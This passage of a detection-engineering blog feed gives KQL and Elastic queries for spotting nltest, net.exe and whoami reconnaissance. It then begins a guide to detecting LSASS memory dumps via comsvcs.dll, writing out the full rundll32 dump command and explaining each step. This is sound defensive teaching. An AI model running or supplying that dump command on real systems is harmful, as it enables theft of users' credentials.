&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (FolderPath &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;endswith&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;nltest.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessVersionInfoOriginalFileName =~ &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;nltestrk.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ((ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;server&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;/user&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;all_trusts&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;dclist:&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;dnsgetdc:&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;domain_trusts&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;dsgetdc:&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;parentdomain&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;trusted_domains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Elastic&lt;/summary&gt;&lt;pre&gt;&lt;code class=&quot;language-lucene&quot;&gt;(process.executable:*\\nltest.exe OR process.pe.original_file_name:nltestrk.exe) AND ((process.command_line:*server* AND process.command_line:*query*) OR (process.command_line:(*\/user* OR *all_trusts* OR *dclist\:* OR *dnsgetdc\:* OR *domain_trusts* OR *dsgetdc\:* OR *parentdomain* OR *trusted_domains*)))
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Sigma&lt;/summary&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;View rule on GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/details&gt;&lt;/div&gt;
&lt;h3 id=&quot;suspicious-group-and-account-reconnaissance-activity-using-n-2&quot;&gt;Suspicious Group And Account Reconnaissance Activity Using Net.EXE&lt;/h3&gt;
&lt;p&gt;Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)&lt;/p&gt;

&lt;div class=&quot;tabs&quot;&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Microsoft Defender (KQL)&lt;/summary&gt;&lt;pre class=&quot;shiki vitesse-dark&quot; style=&quot;background-color:#010101;color:#dbd7caee&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;DeviceProcessEvents&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ((FolderPath &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;endswith&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;net.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; FolderPath &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;endswith&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;net1.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessVersionInfoOriginalFileName &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;in~&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;net.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;net1.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;))) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ((((ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; group &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; localgroup &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;domain admins&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; administrator&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; administrateur&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;enterprise admins&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;Exchange Trusted Subsystem&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;Remote Desktop Users&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;Utilisateurs du Bureau à distance&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;Usuarios de escritorio remoto&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; /do&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#B8A965&quot;&gt;not&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;(ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; /add&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;))) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; accounts &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; /do&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Elastic&lt;/summary&gt;&lt;pre&gt;&lt;code class=&quot;language-lucene&quot;&gt;((process.executable:(*\\net.exe OR *\\net1.exe)) OR (process.pe.original_file_name:(net.exe OR net1.exe))) AND ((((process.command_line:(*\ group\ * OR *\ localgroup\ *)) AND (process.command_line:(*domain\ admins* OR *\ administrator* OR *\ administrateur* OR *enterprise\ admins* OR *Exchange\ Trusted\ Subsystem* OR *Remote\ Desktop\ Users* OR *Utilisateurs\ du\ Bureau\ à\ distance* OR *Usuarios\ de\ escritorio\ remoto* OR *\ \/do*))) AND (NOT process.command_line:*\ \/add*)) OR (process.command_line:*\ accounts\ * AND process.command_line:*\ \/do*))
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Sigma&lt;/summary&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_net_groups_and_accounts_recon.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;View rule on GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/details&gt;&lt;/div&gt;
&lt;h3 id=&quot;group-membership-reconnaissance-via-whoami-exe-2&quot;&gt;Group Membership Reconnaissance Via Whoami.EXE&lt;/h3&gt;
&lt;p&gt;Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes.&lt;/p&gt;

&lt;div class=&quot;tabs&quot;&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Microsoft Defender (KQL)&lt;/summary&gt;&lt;pre class=&quot;shiki vitesse-dark&quot; style=&quot;background-color:#010101;color:#dbd7caee&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;DeviceProcessEvents&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (FolderPath &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;endswith&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;whoami.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessVersionInfoOriginalFileName =~ &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;whoami.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; /groups&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; -groups&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Elastic&lt;/summary&gt;&lt;pre&gt;&lt;code class=&quot;language-lucene&quot;&gt;(process.executable:*\\whoami.exe OR process.pe.original_file_name:whoami.exe) AND (process.command_line:(*\ \/groups* OR *\ \-groups*))
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Sigma&lt;/summary&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_whoami_groups_discovery.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;View rule on GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/details&gt;&lt;/div&gt;

&lt;p&gt;Thanks to @svch0st, Craig Young, &lt;a href=&quot;https://x.com/cyb3rops&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@cyb3rops&lt;/a&gt;, Georg Lauenstein, &lt;a href=&quot;https://x.com/nas_bench&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;@nas_bench&lt;/a&gt;, omkar72, and oscd.community for publishing the awesome Sigma rules and helping the community.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_nltest_recon.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Potential Recon Activity Via Nltest.EXE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_net_groups_and_accounts_recon.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Suspicious Group And Account Reconnaissance Activity Using Net.EXE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_whoami_groups_discovery.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Group Membership Reconnaissance Via Whoami.EXE&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</content:encoded><category>detection-engineering</category><category>discovery</category><category>threat-hunting</category><category>elasticsearch</category><category>kql</category><category>kusto</category><category>nltest</category><category>sigma-rules</category><category>t1016</category><category>t1033</category><category>t1087-001</category><category>t1087-002</category><category>t1482</category><category>whoami</category></item><item><title>LSASS Dump via comsvcs.dll: Defender Detection Guide</title><link>https://www.securityinbits.com/detection-engineering/lsass-dump-comsvcs-rundll32/</link><guid isPermaLink="false">https://www.securityinbits.com/?p=1401</guid><description>Detect LSASS dump with comsvcs.dll and rundll32. Clear command breakdown and Sigma mappings for Defender and Elastic</description><pubDate>Thu, 25 Sep 2025 15:15:48 GMT</pubDate><content:encoded>
&lt;p&gt;Attackers dump LSASS with comsvcs.dll to steal credentials; here’s how to spot rundll32 + MiniDump fast and reliably. 🙂&lt;/p&gt;

&lt;h2 id=&quot;what-the-technique-is&quot;&gt;What the technique is&lt;/h2&gt;
&lt;p&gt;Adversaries attempt to access credential stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory.&lt;/p&gt;
&lt;p&gt;LSASS.exe process memory can be dumped using comsvcs.dll’s MiniDump export (ordinal 24) via rundll32. The dump is often written to a temp path, sometimes disguised with a benign extension.&lt;/p&gt;

&lt;h2 id=&quot;exact-command-executed&quot;&gt;Exact command executed&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;LSASS.exe process memory is dumped via comsvcs.dll ordinal 24. Requires sufficient privileges to access LSASS memory.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;cmd.exe /Q /c for /f &quot;tokens=1,2 delims= &quot; %%A in (&apos;&quot;tasklist /fi &quot;Imagename eq lsass.exe&quot; | find &quot;lsass&quot;&quot;&apos;) do rundll32.exe C:\windows\System32\comsvcs.dll, #+000024 %%B C:\Windows\Temp\file.docx full
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;strong&gt;Breakdown&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Spins up a &lt;strong&gt;quiet, one-shot cmd&lt;/strong&gt;: &lt;code&gt;/Q&lt;/code&gt; hides echo, &lt;code&gt;/c&lt;/code&gt; runs the line and exits.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Grabs LSASS’s PID&lt;/strong&gt;: the &lt;code&gt;for /f ... in (&apos;tasklist … | find &quot;lsass&quot;&apos;)&lt;/code&gt; bit parses &lt;code&gt;tasklist&lt;/code&gt; output and stores the 2nd column (PID) in &lt;code&gt;%%B&lt;/code&gt;. It’s just – get the PID number for lsass.exe.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Dumps the process via comsvcs&lt;/strong&gt;: &lt;code&gt;rundll32 … comsvcs.dll,#24 %%B … full&lt;/code&gt; calls the &lt;code&gt;MiniDump&lt;/code&gt; export (ordinal 24) inside &lt;code&gt;comsvcs.dll&lt;/code&gt; to write a &lt;strong&gt;full memory dump&lt;/strong&gt; to the path you give (here masquerading as &lt;code&gt;.docx&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;detecting-lsass-dump-via-comsvcs-dll-rundll32&quot;&gt;Detecting LSASS dump via comsvcs.dll (rundll32)&lt;/h2&gt;

&lt;h3 id=&quot;visual-sigma-mapping&quot;&gt;Visual Sigma mapping&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Command-to-rule mapping for the lsass.exe dump via comsvcs.dll (ordinal 24).&lt;/em&gt;&lt;/p&gt;

&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Sigma-Mapping-Lsass-Comsvcs.dll_-scaled.png&quot;&gt;&lt;img alt=&quot;Sigma Mapping Lsass Comsvcs.dll&quot; decoding=&quot;async&quot; height=&quot;1095&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 2080px) 100vw, 2080px&quot; src=&quot;/wp-content/uploads/2025/09/Sigma-Mapping-Lsass-Comsvcs.dll_-scaled.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Sigma-Mapping-Lsass-Comsvcs.dll_-scaled.png 2080w, /wp-content/uploads/2025/09/Sigma-Mapping-Lsass-Comsvcs.dll_-300x158.png 300w, /wp-content/uploads/2025/09/Sigma-Mapping-Lsass-Comsvcs.dll_-1024x539.png 1024w, /wp-content/uploads/2025/09/Sigma-Mapping-Lsass-Comsvcs.dll_-768x404.png 768w&quot; width=&quot;2080&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Sigma Mapping Lsass Comsvcs.dll&lt;/figcaption&gt;&lt;/figure&gt;



&lt;h3 id=&quot;sigma-rules-that-trigger-on-comsvcs-dll&quot;&gt;Sigma rules that trigger on comsvcs.dll&lt;/h3&gt;
